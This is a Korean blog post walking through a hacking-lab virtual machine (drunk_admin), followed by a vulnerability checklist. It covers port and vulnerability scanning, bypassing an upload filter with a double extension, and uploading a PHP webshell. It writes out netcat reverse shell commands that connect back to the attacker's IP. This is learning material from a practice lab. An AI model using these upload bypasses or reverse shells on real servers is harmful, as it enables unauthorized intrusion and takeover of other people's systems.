티스토리 뷰
해당 실습은 drunk_admin_hacking_challenge 가상머신을 통해 진행했다.
* 이 파일은 D:\Practice에 있는데 후에 드라이브에 올릴 예정.
nmap을 통해 65535개의 port를 전부 스캔하면 2개의 포트가 열려있는 것이 확인된다.
( nmap -p- -v 192.168.72.131 ) → 다소 시간이 걸린다.
-A 옵션을 사용해 해당 포트들을 자세히 스캐닝 해보겠다.
자세히 조회해본 결과 8880 포트에서 사용하는 SERVICE는 http이고 Apache httpd 2.2.16 (Debian) Version을 사용하는 것으로 확인되었다. 한마디로 웹서버가 사용하는 포트라는 말이다.
그러면 192.168.72.131:8880/ 을 입력하면 해당 웹서버에 접속할 수 있다는 뜻이다.
웹서버에 접속해보기 전에 마지막으로 nikto 를 통해 취약점 스캔을 진행하겠다.
결과로 192.168.72.131:8880/info 와 192.168.72.131:8880/icons/README URL에 뭔가 이상이 있다는 것을 확인했고 이제 해당 URL로 접속해보았다.
해당 웹서버는 이렇게 파일을 업로드할 수 있는 사이트이다.
가장먼저 파일 업로드 취약점을 확인해 볼 수 있지만 우선 아까 nikto를 통해 얻은 URL에 접속해보겠다.
192.168.72.131:8880/info
192.168.72.131:8880/icons/README
이 URL에서는 이런 페이지가 등장하는데 정확히 어느부분에서 취약한지..는 모르겠다
참고 사이트에서 표현하기로는 아래와 같다.
→ 기본 서비스 경로에서는 파악하기 힘든 HTTP 메소드 확인 가능.
파일업로드 취약점.
PHP 웹쉘 파일을 업로드 해보자. ( Apache 서버인 것을 확인했기 때문에 )
확장자에 대한 필터링이 걸려있는듯 하다.
파일명을 webshell.png.php 로 수정해서 우회를 시도해보겠다.
정상적으로 파일이 업로드되는 것을 확인할 수 있다.
정상적인 사진파일을 업로드해서 파일이 업로드되는 경로를 확인할 수 있는지 테스트해보겠다.
업로드된 파일이 저장되는 경로를 확인할 수 있었다. 그런데 파일명이 특정루틴을 통해 암호화되어서 내가 업로드한 파일명을 직접 사용할 수가 없다.
특이한점은 업로드될때 image.php가 호출되는데 이 때 쿠키를 통해 파일명이 노출된다는 점이다.
결국 내가 업로드한 파일에 직접 접근해 실행할 수 있다는 뜻이다.
내가 업로드한 php파일이 실행되는 것까지 확인했다. 그러면 이제 웹쉘을 올려서 서버의 권한을 획득해 보자.
확인해보니 system, pasthru, shell_exec, popen, @proc_open 이 전부 막혀있었다.
그러나 exec에 필터링이 걸려있지 않아서 사용이 가능했다. 때문에 아래의 웹쉘을 작성 후 업로드할 수 있었다.
그럴줄알았는데.. $_GET 문자열에서 필터링이 걸려있는 것 같았다.
그래서 $_POST, $_REQUEST 등으로 우회를 하던 중에 $_REQUEST를 통해 인자를 전달할 수 있다는 것을 확인했다.
때문에 최종적으로 올린 웹쉘은 위 사진과 같다.
정상적으로 업로드에 성공했고 파일명은 쿠키를 통해 확인할 수 있었다.
192.168.72.131:8880/images/5b796592a44f0865c778cbd83d10e58e.php?cmd=ls -al 명령어를 입력해서 해당파일이 정상적으로 실행되는지 확인해 보았다.
정상적으로 실행이되는 것을 확인했고, 마지막으로 리버스 쉘을통해 서버의 권한을 획득해보았다.
두개의 리스닝 포트 (공격자 쪽)를 열어 놓고 웹쉘을 통해
nc 192.168.72.128 7777 | /bin/bash | nc 192.168.72.128 8888
명령어를 실행시키게되면 Terminal1에서 명령어를 실행하면 Terminal2에서 결과가 출력되게된다.
정상적으로 192.168.72.131(서버) 로부터 Connection이 완료되는 것을 확인할 수 있다.
마지막으로 명령어를 실행해보고 마치겠다.
명령어가 정상적으로 실행되는 것을 확인할 수 있었다.
그냥 일반적인 리버스쉘로도 가능하다.
nc -e /bin/bash 192.168.72.128 7777
(01) 관리자 페이지 노출 취약점
(02) 디레토리 나열 취약점
(03) 시스템 설정 취약점
(04) WebDAV 취약점
(05) 불필요한 메소드 허용 취약점
(06) 취약한 파일 존재 취약점
- /myphp.php?id=99,101,108
* phpinfo() 결과에서 상세한 시스템 정보 노출
( 이런건 어떻게 발견하는거지..... 일단 파일업로드 취약점으로 침투 후에 분석하는건가 )
- /icons/README
* 기본 서비스 경로에서는 파악하기 힘든 HTTP 메소드 확인 가능
- /~bob/index.php, /~bob/encrypt.php
* 복호화, 암호화 과정 노출
( 이런것도 어떻게 발견하는거지.. ㅋㅋㅋ 근데 ~를 넣어서 home directory에 접근하는건 신기하다. )
- /.proof (/~bob/과 연계시)
* 사생활 노출???
(07) 계정관리 취약점
(08) 실명인증 취약점
(09) 전송시 개인정보 노출 취약점
(10) 파일 다운로드 취약점
(11) 파일 업로드 취약점
- 이미지 업로드 어플리케이션의 확장자 검증 미흡으로 인한 PHP웹쉘 업로드 가능
* 일반 사용자 권한(www-data)으로 시스템 침투 가능
(12) 소스 코드 내 중요정보 노출 취약점
- /upload.php 헤더의 쿠키 값으로 업로드 한 이미지명 전송
* Set-Cookie: trypios=c9e50a4ae5fe20e3a56ee8786022a1b8; expires=Tue, 28-Apr-2015 01:15:07
* 저장한 이미지 이름에 대한 단서를 제공하고 있음
(13) 공개용 웹 게시판 취약점
(14) 크로스사이트스크립트 취약점
(15) SQL 인젝션 취약점
(16) 권한인증 취약점
(17) 에러처리 취약점
참고사이트에서 제공하는 취약점리스트는 위와 같다. 그러나 내가 이해하고 실습해본 내용은 (6), (10), (11), (12) 밖에 없었다. 갈길이 너무나 멀다......
'Web > Concept' 카테고리의 다른 글
[Concept] PHP의 이스케이프 처리함수 목록 (0) | 2019.07.18 |
---|---|
[Concept] PHP 백도어에서 자주사용하는 함수. (0) | 2019.07.17 |
[Concept] PHP Magic Hash 취약점 (0) | 2019.07.15 |
[Concept] PHP strcmp 취약점 우회 (0) | 2019.07.15 |
[Concept] WhiteSpace 언어 (0) | 2019.07.15 |